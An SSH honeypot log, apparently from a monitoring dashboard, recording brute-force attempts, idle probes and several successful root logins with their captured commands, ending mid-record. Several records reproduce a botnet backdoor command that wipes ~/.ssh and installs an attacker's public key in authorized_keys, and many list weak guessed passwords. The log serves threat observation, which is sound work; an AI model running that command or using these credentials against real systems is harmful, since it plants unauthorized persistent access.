Adversarial Observation Interface

143.244.169.204

2026-07-10 00:06:53.233912 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: prtg

Record ID: 0a8e4d614f04

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0a8e4d614f04",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-10T00:06:53.233912Z",
  "end_time": "2026-07-10T00:06:54.663105Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "prtg",
      "pass": "prtg123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.122.238

2026-07-10 00:06:26.315708 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sol

Record ID: 2ab3e12921cc

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2ab3e12921cc",
  "src_ip": "2.57.122.238",
  "start_time": "2026-07-10T00:06:26.315708Z",
  "end_time": "2026-07-10T00:06:28.158620Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "sol",
      "pass": "sol"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-10 00:06:15.790344 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4355f2ade1ec

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "4355f2ade1ec",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:06:15.790344Z",
  "end_time": "2026-07-10T00:08:15.801096Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

185.242.3.195

2026-07-10 00:05:57.195131 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / P@ssword#123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo OK

Record ID: 7def7f2b6aac

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "7def7f2b6aac",
  "src_ip": "185.242.3.195",
  "start_time": "2026-07-10T00:05:57.195131Z",
  "end_time": "2026-07-10T00:05:59.107677Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssword#123"
  },
  "commands": [
    "echo OK"
  ],
  "detailed_commands": [
    {
      "cmd": "echo OK",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

121.15.140.235

2026-07-10 00:05:26.458256 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: server

Record ID: b9c52131c7cd

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "b9c52131c7cd",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:05:26.458256Z",
  "end_time": "2026-07-10T00:05:29.563078Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "server",
      "pass": "changeme"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

143.244.169.204

2026-07-10 00:04:45.368390 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hang

Record ID: e3f9d186e035

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e3f9d186e035",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-10T00:04:45.368390Z",
  "end_time": "2026-07-10T00:04:46.797837Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "hang",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-10 00:04:34.365142 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a8bf0a016d3d

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "a8bf0a016d3d",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:04:34.365142Z",
  "end_time": "2026-07-10T00:06:34.376538Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.57.122.238

2026-07-10 00:04:24.650698 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fdaf955be5fd

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "fdaf955be5fd",
  "src_ip": "2.57.122.238",
  "start_time": "2026-07-10T00:04:24.650698Z",
  "end_time": "2026-07-10T00:04:24.817861Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

121.15.140.235

2026-07-10 00:03:43.068721 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 01f8f41b8944

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "01f8f41b8944",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:03:43.068721Z",
  "end_time": "2026-07-10T00:05:43.086564Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.15.140.235

2026-07-10 00:02:52.310378 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 25cc3dd42ca3

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "25cc3dd42ca3",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:02:52.310378Z",
  "end_time": "2026-07-10T00:04:52.320014Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-10 00:02:43.350794 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f08750a599cc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f08750a599cc",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-10T00:02:43.350794Z",
  "end_time": "2026-07-10T00:02:43.790259Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

143.244.169.204

2026-07-10 00:02:41.860057 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 76e4e56743f5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "76e4e56743f5",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-10T00:02:41.860057Z",
  "end_time": "2026-07-10T00:02:43.287335Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

143.244.169.204

2026-07-10 00:02:40.908631 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Tc@123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 4fda54b90de3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4fda54b90de3",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-10T00:02:40.908631Z",
  "end_time": "2026-07-10T00:02:43.787405Z",
  "duration": "2.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Tc@123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

121.15.140.235

2026-07-10 00:02:02.592870 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cfeba9c2d574

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "cfeba9c2d574",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:02:02.592870Z",
  "end_time": "2026-07-10T00:04:02.616266Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.15.140.235

2026-07-10 00:01:30.945183 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d54f2d33ac23

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d54f2d33ac23",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:01:30.945183Z",
  "end_time": "2026-07-10T00:01:30.945183Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.15.140.235

2026-07-10 00:01:12.079564 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ed929fbb6c4b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "ed929fbb6c4b",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:01:12.079564Z",
  "end_time": "2026-07-10T00:03:12.102932Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.15.140.235

2026-07-10 00:00:40.786044 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a02562ea8b4c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a02562ea8b4c",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:00:40.786044Z",
  "end_time": "2026-07-10T00:00:40.786044Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-10 00:00:35.394506 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cod2server

Record ID: ed0eb267635a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ed0eb267635a",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-10T00:00:35.394506Z",
  "end_time": "2026-07-10T00:00:36.980538Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "cod2server",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-10 00:00:21.349776 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 64682621a132

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "64682621a132",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-10T00:00:21.349776Z",
  "end_time": "2026-07-10T00:02:21.361079Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-09 23:58:25.821409 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: school

Record ID: e5eda85b91bf

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e5eda85b91bf",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:58:25.821409Z",
  "end_time": "2026-07-09T23:58:27.251273Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "school",
      "pass": "school123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:57:50.254283 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 054fb391adc7

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "054fb391adc7",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:57:50.254283Z",
  "end_time": "2026-07-09T23:59:50.276964Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.15.140.235

2026-07-09 23:57:00.409907 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e8a1c198d122

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "e8a1c198d122",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:57:00.409907Z",
  "end_time": "2026-07-09T23:59:00.433696Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

143.244.169.204

2026-07-09 23:56:25.907608 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 1d350bd18eec

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1d350bd18eec",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:56:25.907608Z",
  "end_time": "2026-07-09T23:56:26.339250Z",
  "duration": "0.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:56:24.425083 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 8953e36fc826

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8953e36fc826",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:56:24.425083Z",
  "end_time": "2026-07-09T23:56:25.845742Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

143.244.169.204

2026-07-09 23:56:23.398031 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123qweASD!

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e7b147bf7e64

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e7b147bf7e64",
  "src_ip": "143.244.169.204",
  "start_time": "2026-07-09T23:56:23.398031Z",
  "end_time": "2026-07-09T23:56:26.336421Z",
  "duration": "2.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123qweASD!"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

172.190.216.105

2026-07-09 23:56:15.638217 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: cfa1775751c9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cfa1775751c9",
  "src_ip": "172.190.216.105",
  "start_time": "2026-07-09T23:56:15.638217Z",
  "end_time": "2026-07-09T23:56:16.946779Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

172.190.216.105

2026-07-09 23:56:13.013782 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 40941a439c1d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "40941a439c1d",
  "src_ip": "172.190.216.105",
  "start_time": "2026-07-09T23:56:13.013782Z",
  "end_time": "2026-07-09T23:56:15.562673Z",
  "duration": "2.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.15.140.235

2026-07-09 23:56:08.437642 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bfc985717363

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "bfc985717363",
  "src_ip": "121.15.140.235",
  "start_time": "2026-07-09T23:56:08.437642Z",
  "end_time": "2026-07-09T23:58:08.450204Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

172.190.216.105

2026-07-09 23:55:59.845522 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456789@Abc

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: a7dfc617d26a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 17.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a7dfc617d26a",
  "src_ip": "172.190.216.105",
  "start_time": "2026-07-09T23:55:59.845522Z",
  "end_time": "2026-07-09T23:56:16.940099Z",
  "duration": "17.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456789@Abc"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
